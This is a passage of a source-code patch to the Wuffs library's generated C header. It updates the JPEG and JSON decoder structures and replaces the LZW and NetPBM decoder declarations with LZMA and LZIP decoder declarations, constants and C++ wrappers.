v_marker; + uint64_t scratch; +- } s_do_decode_image_config[1]; ++ } s_do_decode_image_config; + struct { + uint8_t v_q; + uint32_t v_i; +- } s_decode_dqt[1]; ++ } s_decode_dqt; + struct { + uint64_t scratch; +- } s_decode_dri[1]; ++ } s_decode_dri; + struct { + uint64_t scratch; +- } s_decode_appn[1]; ++ } s_decode_appn; + struct { + uint32_t v_i; + uint64_t scratch; +- } s_decode_sof[1]; ++ } s_decode_sof; + struct { + uint8_t v_marker; + uint64_t scratch; +- } s_do_decode_frame[1]; ++ } s_do_decode_frame; + struct { + uint8_t v_tc4_th; + uint32_t v_total_count; + uint32_t v_i; +- } s_decode_dht[1]; ++ } s_decode_dht; + struct { + uint32_t v_my; + uint32_t v_mx; +- } s_decode_sos[1]; ++ } s_decode_sos; + struct { + uint32_t v_i; + uint64_t scratch; +- } s_prepare_scan[1]; ++ } s_prepare_scan; + } private_data; + + #ifdef __cplusplus +@@ -9595,11 +10146,6 @@ struct wuffs_jpeg__decoder__struct { + return wuffs_jpeg__decoder__tell_me_more(this, a_dst, a_minfo, a_src); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_jpeg__decoder__history_retain_length(this); +- } +- + inline wuffs_base__range_ii_u64 + workbuf_len() const { + return wuffs_jpeg__decoder__workbuf_len(this); +@@ -9627,55 +10173,53 @@ extern const char wuffs_json__error__unsupported_recursion_depth[]; + + // ---------------- Public Consts + +-#define WUFFS_JSON__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 +- +-#define WUFFS_JSON__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 ++#define WUFFS_JSON__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + +-#define WUFFS_JSON__DECODER_DEPTH_MAX_INCL 1024 ++#define WUFFS_JSON__DECODER_DEPTH_MAX_INCL 1024u + +-#define WUFFS_JSON__DECODER_DST_TOKEN_BUFFER_LENGTH_MIN_INCL 1 ++#define WUFFS_JSON__DECODER_DST_TOKEN_BUFFER_LENGTH_MIN_INCL 1u + +-#define WUFFS_JSON__DECODER_SRC_IO_BUFFER_LENGTH_MIN_INCL 100 ++#define WUFFS_JSON__DECODER_SRC_IO_BUFFER_LENGTH_MIN_INCL 100u + +-#define WUFFS_JSON__QUIRK_ALLOW_ASCII_CONTROL_CODES 1225364480 ++#define WUFFS_JSON__QUIRK_ALLOW_ASCII_CONTROL_CODES 1225364480u + +-#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_A 1225364481 ++#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_A 1225364481u + +-#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_CAPITAL_U 1225364482 ++#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_CAPITAL_U 1225364482u + +-#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_E 1225364483 ++#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_E 1225364483u + +-#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_NEW_LINE 1225364484 ++#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_NEW_LINE 1225364484u + +-#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_QUESTION_MARK 1225364485 ++#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_QUESTION_MARK 1225364485u + +-#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_SINGLE_QUOTE 1225364486 ++#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_SINGLE_QUOTE 1225364486u + +-#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_V 1225364487 ++#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_V 1225364487u + +-#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_X_AS_CODE_POINTS 1225364489 ++#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_X_AS_CODE_POINTS 1225364489u + +-#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_ZERO 1225364490 ++#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_ZERO 1225364490u + +-#define WUFFS_JSON__QUIRK_ALLOW_COMMENT_BLOCK 1225364491 ++#define WUFFS_JSON__QUIRK_ALLOW_COMMENT_BLOCK 1225364491u + +-#define WUFFS_JSON__QUIRK_ALLOW_COMMENT_LINE 1225364492 ++#define WUFFS_JSON__QUIRK_ALLOW_COMMENT_LINE 1225364492u + +-#define WUFFS_JSON__QUIRK_ALLOW_EXTRA_COMMA 1225364493 ++#define WUFFS_JSON__QUIRK_ALLOW_EXTRA_COMMA 1225364493u + +-#define WUFFS_JSON__QUIRK_ALLOW_INF_NAN_NUMBERS 1225364494 ++#define WUFFS_JSON__QUIRK_ALLOW_INF_NAN_NUMBERS 1225364494u + +-#define WUFFS_JSON__QUIRK_ALLOW_LEADING_ASCII_RECORD_SEPARATOR 1225364495 ++#define WUFFS_JSON__QUIRK_ALLOW_LEADING_ASCII_RECORD_SEPARATOR 1225364495u + +-#define WUFFS_JSON__QUIRK_ALLOW_LEADING_UNICODE_BYTE_ORDER_MARK 1225364496 ++#define WUFFS_JSON__QUIRK_ALLOW_LEADING_UNICODE_BYTE_ORDER_MARK 1225364496u + +-#define WUFFS_JSON__QUIRK_ALLOW_TRAILING_FILLER 1225364497 ++#define WUFFS_JSON__QUIRK_ALLOW_TRAILING_FILLER 1225364497u + +-#define WUFFS_JSON__QUIRK_EXPECT_TRAILING_NEW_LINE_OR_EOF 1225364498 ++#define WUFFS_JSON__QUIRK_EXPECT_TRAILING_NEW_LINE_OR_EOF 1225364498u + +-#define WUFFS_JSON__QUIRK_JSON_POINTER_ALLOW_TILDE_N_TILDE_R_TILDE_T 1225364499 ++#define WUFFS_JSON__QUIRK_JSON_POINTER_ALLOW_TILDE_N_TILDE_R_TILDE_T 1225364499u + +-#define WUFFS_JSON__QUIRK_REPLACE_INVALID_UNICODE 1225364500 ++#define WUFFS_JSON__QUIRK_REPLACE_INVALID_UNICODE 1225364500u + + // ---------------- Struct Declarations + +@@ -9742,11 +10286,6 @@ wuffs_json__decoder__set_quirk( + uint32_t a_key, + uint64_t a_value); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_json__decoder__history_retain_length( +- const wuffs_json__decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 + wuffs_json__decoder__workbuf_len( +@@ -9794,11 +10333,11 @@ struct wuffs_json__decoder__struct { + uint8_t f_trailer_stop; + uint8_t f_comment_type; + +- uint32_t p_decode_tokens[1]; +- uint32_t p_decode_leading[1]; +- uint32_t p_decode_comment[1]; +- uint32_t p_decode_inf_nan[1]; +- uint32_t p_decode_trailer[1]; ++ uint32_t p_decode_tokens; ++ uint32_t p_decode_leading; ++ uint32_t p_decode_comment; ++ uint32_t p_decode_inf_nan; ++ uint32_t p_decode_trailer; + } private_impl; + + struct { +@@ -9808,7 +10347,7 @@ struct wuffs_json__decoder__struct { + uint32_t v_depth; + uint32_t v_expect; + uint32_t v_expect_after_value; +- } s_decode_tokens[1]; ++ } s_decode_tokens; + } private_data; + + #ifdef __cplusplus +@@ -9886,11 +10425,6 @@ struct wuffs_json__decoder__struct { + return wuffs_json__decoder__set_quirk(this, a_key, a_value); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_json__decoder__history_retain_length(this); +- } +- + inline wuffs_base__range_ii_u64 + workbuf_len() const { + return wuffs_json__decoder__workbuf_len(this); +@@ -9911,24 +10445,33 @@ struct wuffs_json__decoder__struct { + + #endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JSON) || defined(WUFFS_NONMONOLITHIC) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) || defined(WUFFS_NONMONOLITHIC) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZMA) || defined(WUFFS_NONMONOLITHIC) + + // ---------------- Status Codes + +-extern const char wuffs_lzw__error__bad_code[]; +-extern const char wuffs_lzw__error__truncated_input[]; ++extern const char wuffs_lzma__error__bad_lzma2_header[]; ++extern const char wuffs_lzma__error__bad_bitstream_trailer[]; ++extern const char wuffs_lzma__error__bad_code[]; ++extern const char wuffs_lzma__error__bad_decoded_length[]; ++extern const char wuffs_lzma__error__bad_distance[]; ++extern const char wuffs_lzma__error__bad_header[]; ++extern const char wuffs_lzma__error__truncated_input[]; ++extern const char wuffs_lzma__error__unsupported_decoded_length[]; ++extern const char wuffs_lzma__error__unsupported_properties[]; + + // ---------------- Public Consts + +-#define WUFFS_LZW__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++#define WUFFS_LZMA__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u + +-#define WUFFS_LZW__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 ++#define WUFFS_LZMA__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 4294967568u + +-#define WUFFS_LZW__QUIRK_LITERAL_WIDTH_PLUS_ONE 1348378624 ++#define WUFFS_LZMA__QUIRK_ALLOW_NON_ZERO_INITIAL_BYTE 1348001792u ++ ++#define WUFFS_LZMA__QUIRK_FORMAT_EXTENSION 1348001793u + + // ---------------- Struct Declarations + +-typedef struct wuffs_lzw__decoder__struct wuffs_lzw__decoder; ++typedef struct wuffs_lzma__decoder__struct wuffs_lzma__decoder; + + #ifdef __cplusplus + extern "C" { +@@ -9943,14 +10486,14 @@ extern "C" { + // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_lzw__decoder__initialize( +- wuffs_lzw__decoder* self, ++wuffs_lzma__decoder__initialize( ++ wuffs_lzma__decoder* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options); + + size_t +-sizeof__wuffs_lzw__decoder(void); ++sizeof__wuffs_lzma__decoder(void); + + // ---------------- Allocs + +@@ -9960,19 +10503,19 @@ sizeof__wuffs_lzw__decoder(void); + // calling free on the returned pointer. That pointer is effectively a C++ + // std::unique_ptr. + +-wuffs_lzw__decoder* +-wuffs_lzw__decoder__alloc(void); ++wuffs_lzma__decoder* ++wuffs_lzma__decoder__alloc(void); + + static inline wuffs_base__io_transformer* +-wuffs_lzw__decoder__alloc_as__wuffs_base__io_transformer(void) { +- return (wuffs_base__io_transformer*)(wuffs_lzw__decoder__alloc()); ++wuffs_lzma__decoder__alloc_as__wuffs_base__io_transformer(void) { ++ return (wuffs_base__io_transformer*)(wuffs_lzma__decoder__alloc()); + } + + // ---------------- Upcasts + + static inline wuffs_base__io_transformer* +-wuffs_lzw__decoder__upcast_as__wuffs_base__io_transformer( +- wuffs_lzw__decoder* p) { ++wuffs_lzma__decoder__upcast_as__wuffs_base__io_transformer( ++ wuffs_lzma__decoder* p) { + return (wuffs_base__io_transformer*)p; + } + +@@ -9980,40 +10523,35 @@ wuffs_lzw__decoder__upcast_as__wuffs_base__io_transformer( + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_lzw__decoder__get_quirk( +- const wuffs_lzw__decoder* self, ++wuffs_lzma__decoder__get_quirk( ++ const wuffs_lzma__decoder* self, + uint32_t a_key); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_lzw__decoder__set_quirk( +- wuffs_lzw__decoder* self, ++wuffs_lzma__decoder__set_quirk( ++ wuffs_lzma__decoder* self, + uint32_t a_key, + uint64_t a_value); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_lzw__decoder__history_retain_length( +- const wuffs_lzw__decoder* self); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_lzma__decoder__dst_history_retain_length( ++ const wuffs_lzma__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_lzw__decoder__workbuf_len( +- const wuffs_lzw__decoder* self); ++wuffs_lzma__decoder__workbuf_len( ++ const wuffs_lzma__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_lzw__decoder__transform_io( +- wuffs_lzw__decoder* self, ++wuffs_lzma__decoder__transform_io( ++ wuffs_lzma__decoder* self, + wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src, + wuffs_base__slice_u8 a_workbuf); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__slice_u8 +-wuffs_lzw__decoder__flush( +- wuffs_lzw__decoder* self); +- + #ifdef __cplusplus + } // extern "C" + #endif +@@ -10027,7 +10565,7 @@ wuffs_lzw__decoder__flush( + + #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-struct wuffs_lzw__decoder__struct { ++struct wuffs_lzma__decoder__struct { + // Do not access the private_impl's or private_data's fields directly. There + // is no API/ABI compatibility or safety guarantee if you do so. Instead, use + // the wuffs_foo__bar__baz functions. +@@ -10041,45 +10579,113 @@ struct wuffs_lzw__decoder__struct { + wuffs_base__vtable vtable_for__wuffs_base__io_transformer; + wuffs_base__vtable null_vtable; + +- uint32_t f_pending_literal_width_plus_one; +- uint32_t f_literal_width; +- uint32_t f_clear_code; +- uint32_t f_end_code; +- uint32_t f_save_code; +- uint32_t f_prev_code; +- uint32_t f_width; +- uint32_t f_bits; +- uint32_t f_n_bits; +- uint32_t f_output_ri; +- uint32_t f_output_wi; +- uint32_t f_read_from_return_value; +- uint16_t f_prefixes[4096]; +- +- uint32_t p_transform_io[1]; +- uint32_t p_write_to[1]; ++ uint32_t f_lc; ++ uint32_t f_lp; ++ uint32_t f_pb; ++ uint32_t f_format_extension; ++ uint32_t f_dict_size; ++ uint32_t f_dict_workbuf_index; ++ uint32_t f_dict_seen; ++ uint64_t f_decoded_length; ++ uint64_t f_lzma2_encoded_length_have; ++ uint64_t f_lzma2_encoded_length_want; ++ bool f_lzma2_need_prob_reset; ++ bool f_lzma2_need_properties; ++ bool f_lzma2_need_dict_reset; ++ bool f_prev_lzma2_chunk_was_uncompressed; ++ bool f_allow_non_zero_initial_byte; ++ bool f_end_of_chunk; ++ uint8_t f_stashed_bytes[2]; ++ uint32_t f_stashed_bits; ++ uint32_t f_stashed_range; ++ uint32_t f_stashed_state; ++ uint32_t f_stashed_rep0; ++ uint32_t f_stashed_rep1; ++ uint32_t f_stashed_rep2; ++ uint32_t f_stashed_rep3; ++ uint64_t f_stashed_pos; ++ uint64_t f_stashed_pos_end; ++ ++ uint32_t p_decode_bitstream_slow; ++ uint32_t p_transform_io; ++ uint32_t p_do_transform_io; ++ uint32_t p_decode_bitstream; ++ uint32_t p_update_stashed_bytes; ++ uint32_t p_decode_optional_end_of_stream; + } private_impl; + + struct { +- uint8_t f_suffixes[4096][8]; +- uint16_t f_lm1s[4096]; +- uint8_t f_output[8199]; ++ uint16_t f_probs_ao00[192]; ++ uint16_t f_probs_ao20[12]; ++ uint16_t f_probs_ao40[12]; ++ uint16_t f_probs_ao41[192]; ++ uint16_t f_probs_ao60[12]; ++ uint16_t f_probs_ao63[12]; ++ uint16_t f_probs_match_len_low[16][8]; ++ uint16_t f_probs_match_len_mid[16][8]; ++ uint16_t f_probs_match_len_high[1][256]; ++ uint16_t f_probs_longrep_len_low[16][8]; ++ uint16_t f_probs_longrep_len_mid[16][8]; ++ uint16_t f_probs_longrep_len_high[1][256]; ++ uint16_t f_probs_slot[4][64]; ++ uint16_t f_probs_small_dist[128]; ++ uint16_t f_probs_large_dist[16]; ++ uint16_t f_probs_lit[16][768]; ++ ++ struct { ++ uint32_t v_bits; ++ uint32_t v_range; ++ uint32_t v_state; ++ uint32_t v_rep0; ++ uint32_t v_rep1; ++ uint32_t v_rep2; ++ uint32_t v_rep3; ++ uint32_t v_rep; ++ uint64_t v_pos; ++ uint64_t v_pos_end; ++ uint32_t v_lc; ++ uint64_t v_lp_mask; ++ uint64_t v_pb_mask; ++ uint32_t v_tree_node; ++ uint8_t v_prev_byte; ++ uint32_t v_match_byte; ++ uint32_t v_len_state; ++ uint32_t v_slot; ++ uint32_t v_len; ++ uint32_t v_lanl_offset; ++ uint32_t v_num_extra_bits; ++ uint32_t v_dist_extra_bits; ++ uint32_t v_i; ++ uint32_t v_index_lit; ++ uint32_t v_index_len; ++ uint32_t v_index_small_dist_base; ++ uint32_t v_index_small_dist_extra; ++ uint32_t v_index_large_dist; ++ uint32_t v_dist; ++ uint64_t scratch; ++ } s_decode_bitstream_slow; ++ struct { ++ uint8_t v_header_byte; ++ uint32_t v_length; ++ uint64_t scratch; ++ } s_do_transform_io; + } private_data; + + #ifdef __cplusplus + #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) +- using unique_ptr = std::unique_ptr; ++ using unique_ptr = std::unique_ptr; + + // On failure, the alloc_etc functions return nullptr. They don't throw. + + static inline unique_ptr + alloc() { +- return unique_ptr(wuffs_lzw__decoder__alloc()); ++ return unique_ptr(wuffs_lzma__decoder__alloc()); + } + + static inline wuffs_base__io_transformer::unique_ptr + alloc_as__wuffs_base__io_transformer() { + return wuffs_base__io_transformer::unique_ptr( +- wuffs_lzw__decoder__alloc_as__wuffs_base__io_transformer()); ++ wuffs_lzma__decoder__alloc_as__wuffs_base__io_transformer()); + } + #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +@@ -10095,10 +10701,10 @@ struct wuffs_lzw__decoder__struct { + // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in + // order to provide convenience methods. These forward on "this", so that you + // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". +- wuffs_lzw__decoder__struct() = delete; +- wuffs_lzw__decoder__struct(const wuffs_lzw__decoder__struct&) = delete; +- wuffs_lzw__decoder__struct& operator=( +- const wuffs_lzw__decoder__struct&) = delete; ++ wuffs_lzma__decoder__struct() = delete; ++ wuffs_lzma__decoder__struct(const wuffs_lzma__decoder__struct&) = delete; ++ wuffs_lzma__decoder__struct& operator=( ++ const wuffs_lzma__decoder__struct&) = delete; + #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + + #if !defined(WUFFS_IMPLEMENTATION) +@@ -10118,7 +10724,7 @@ struct wuffs_lzw__decoder__struct { + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options) { +- return wuffs_lzw__decoder__initialize( ++ return wuffs_lzma__decoder__initialize( + this, sizeof_star_self, wuffs_version, options); + } + +@@ -10130,24 +10736,24 @@ struct wuffs_lzw__decoder__struct { + inline uint64_t + get_quirk( + uint32_t a_key) const { +- return wuffs_lzw__decoder__get_quirk(this, a_key); ++ return wuffs_lzma__decoder__get_quirk(this, a_key); + } + + inline wuffs_base__status + set_quirk( + uint32_t a_key, + uint64_t a_value) { +- return wuffs_lzw__decoder__set_quirk(this, a_key, a_value); ++ return wuffs_lzma__decoder__set_quirk(this, a_key, a_value); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_lzw__decoder__history_retain_length(this); ++ inline wuffs_base__optional_u63 ++ dst_history_retain_length() const { ++ return wuffs_lzma__decoder__dst_history_retain_length(this); + } + + inline wuffs_base__range_ii_u64 + workbuf_len() const { +- return wuffs_lzw__decoder__workbuf_len(this); ++ return wuffs_lzma__decoder__workbuf_len(this); + } + + inline wuffs_base__status +@@ -10155,38 +10761,34 @@ struct wuffs_lzw__decoder__struct { + wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src, + wuffs_base__slice_u8 a_workbuf) { +- return wuffs_lzw__decoder__transform_io(this, a_dst, a_src, a_workbuf); +- } +- +- inline wuffs_base__slice_u8 +- flush() { +- return wuffs_lzw__decoder__flush(this); ++ return wuffs_lzma__decoder__transform_io(this, a_dst, a_src, a_workbuf); + } + + #endif // __cplusplus +-}; // struct wuffs_lzw__decoder__struct ++}; // struct wuffs_lzma__decoder__struct + + #endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) || defined(WUFFS_NONMONOLITHIC) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZMA) || defined(WUFFS_NONMONOLITHIC) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) || defined(WUFFS_NONMONOLITHIC) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZIP) || defined(WUFFS_NONMONOLITHIC) + + // ---------------- Status Codes + +-extern const char wuffs_netpbm__error__bad_header[]; +-extern const char wuffs_netpbm__error__truncated_input[]; +-extern const char wuffs_netpbm__error__unsupported_netpbm_file[]; ++extern const char wuffs_lzip__error__bad_checksum[]; ++extern const char wuffs_lzip__error__bad_footer[]; ++extern const char wuffs_lzip__error__bad_header[]; ++extern const char wuffs_lzip__error__truncated_input[]; + + // ---------------- Public Consts + +-#define WUFFS_NETPBM__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++#define WUFFS_LZIP__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u + +-#define WUFFS_NETPBM__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 ++#define WUFFS_LZIP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 4294967568u + + // ---------------- Struct Declarations + +-typedef struct wuffs_netpbm__decoder__struct wuffs_netpbm__decoder; ++typedef struct wuffs_lzip__decoder__struct wuffs_lzip__decoder; + + #ifdef __cplusplus + extern "C" { +@@ -10201,14 +10803,14 @@ extern "C" { + // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_netpbm__decoder__initialize( +- wuffs_netpbm__decoder* self, ++wuffs_lzip__decoder__initialize( ++ wuffs_lzip__decoder* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options); + + size_t +-sizeof__wuffs_netpbm__decoder(void); ++sizeof__wuffs_lzip__decoder(void); + + // ---------------- Allocs + +@@ -10218,112 +10820,54 @@ sizeof__wuffs_netpbm__decoder(void); + // calling free on the returned pointer. That pointer is effectively a C++ + // std::unique_ptr. + +-wuffs_netpbm__decoder* +-wuffs_netpbm__decoder__alloc(void); ++wuffs_lzip__decoder* ++wuffs_lzip__decoder__alloc(void); + +-static inline wuffs_base__image_decoder* +-wuffs_netpbm__decoder__alloc_as__wuffs_base__image_decoder(void) { +- return (wuffs_base__image_decoder*)(wuffs_netpbm__decoder__alloc()); ++static inline wuffs_base__io_transformer* ++wuffs_lzip__decoder__alloc_as__wuffs_base__io_transformer(void) { ++ return (wuffs_base__io_transformer*)(wuffs_lzip__decoder__alloc()); + } + + // ---------------- Upcasts + +-static inline wuffs_base__image_decoder* +-wuffs_netpbm__decoder__upcast_as__wuffs_base__image_decoder( +- wuffs_netpbm__decoder* p) { +- return (wuffs_base__image_decoder*)p; ++static inline wuffs_base__io_transformer* ++wuffs_lzip__decoder__upcast_as__wuffs_base__io_transformer( ++ wuffs_lzip__decoder* p) { ++ return (wuffs_base__io_transformer*)p; + } + + // ---------------- Public Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_netpbm__decoder__get_quirk( +- const wuffs_netpbm__decoder* self, ++wuffs_lzip__decoder__get_quirk( ++ const wuffs_lzip__decoder* self, + uint32_t a_key); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__set_quirk( +- wuffs_netpbm__decoder* self, ++wuffs_lzip__decoder__set_quirk( ++ wuffs_lzip__decoder* self, + uint32_t a_key, + uint64_t a_value); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__decode_image_config( +- wuffs_netpbm__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__decode_frame_config( +- wuffs_netpbm__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__decode_frame( +- wuffs_netpbm__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_netpbm__decoder__frame_dirty_rect( +- const wuffs_netpbm__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_netpbm__decoder__num_animation_loops( +- const wuffs_netpbm__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_netpbm__decoder__num_decoded_frame_configs( +- const wuffs_netpbm__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_netpbm__decoder__num_decoded_frames( +- const wuffs_netpbm__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__restart_frame( +- wuffs_netpbm__decoder* self, +- uint64_t a_index, +- uint64_t a_io_position); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_lzip__decoder__dst_history_retain_length( ++ const wuffs_lzip__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_netpbm__decoder__set_report_metadata( +- wuffs_netpbm__decoder* self, +- uint32_t a_fourcc, +- bool a_report); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_lzip__decoder__workbuf_len( ++ const wuffs_lzip__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__tell_me_more( +- wuffs_netpbm__decoder* self, ++wuffs_lzip__decoder__transform_io( ++ wuffs_lzip__decoder* self, + wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_netpbm__decoder__history_retain_length( +- const wuffs_netpbm__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_netpbm__decoder__workbuf_len( +- const wuffs_netpbm__decoder* self); ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); + + #ifdef __cplusplus + } // extern "C" +@@ -10338,7 +10882,7 @@ wuffs_netpbm__decoder__workbuf_len( + + #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-struct wuffs_netpbm__decoder__struct { ++struct wuffs_lzip__decoder__struct { + // Do not access the private_impl's or private_data's fields directly. There + // is no API/ABI compatibility or safety guarantee if you do so. Instead, use + // the wuffs_foo__bar__baz functions. +@@ -10349,42 +10893,41 @@ struct wuffs_netpbm__decoder__struct { + struct { + uint32_t magic; + uint32_t active_coroutine; +- wuffs_base__vtable vtable_for__wuffs_base__image_decoder; ++ wuffs_base__vtable vtable_for__wuffs_base__io_transformer; + wuffs_base__vtable null_vtable; + +- uint32_t f_pixfmt; +- uint32_t f_width; +- uint32_t f_height; +- uint32_t f_max_value; +- uint8_t f_call_sequence; +- uint64_t f_frame_config_io_position; +- uint32_t f_dst_x; +- uint32_t f_dst_y; +- wuffs_base__pixel_swizzler f_swizzler; ++ bool f_ignore_checksum; ++ uint64_t f_dsize_have; ++ uint64_t f_ssize_have; + +- uint32_t p_decode_image_config[1]; +- uint32_t p_do_decode_image_config[1]; +- uint32_t p_decode_frame_config[1]; +- uint32_t p_do_decode_frame_config[1]; +- uint32_t p_decode_frame[1]; +- uint32_t p_do_decode_frame[1]; ++ uint32_t p_transform_io; ++ uint32_t p_do_transform_io; + } private_impl; + ++ struct { ++ wuffs_crc32__ieee_hasher f_crc32; ++ wuffs_lzma__decoder f_lzma; ++ ++ struct { ++ uint64_t scratch; ++ } s_do_transform_io; ++ } private_data; ++ + #ifdef __cplusplus + #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) +- using unique_ptr = std::unique_ptr; ++ using unique_ptr = std::unique_ptr; + + // On failure, the alloc_etc functions return nullptr. They don't throw. + + static inline unique_ptr + alloc() { +- return unique_ptr(wuffs_netpbm__decoder__alloc()); ++ return unique_ptr(wuffs_lzip__decoder__alloc()); + } + +- static inline wuffs_base__image_decoder::unique_ptr +- alloc_as__wuffs_base__image_decoder() { +- return wuffs_base__image_decoder::unique_ptr( +- wuffs_netpbm__decoder__alloc_as__wuffs_base__image_decoder()); ++ static inline 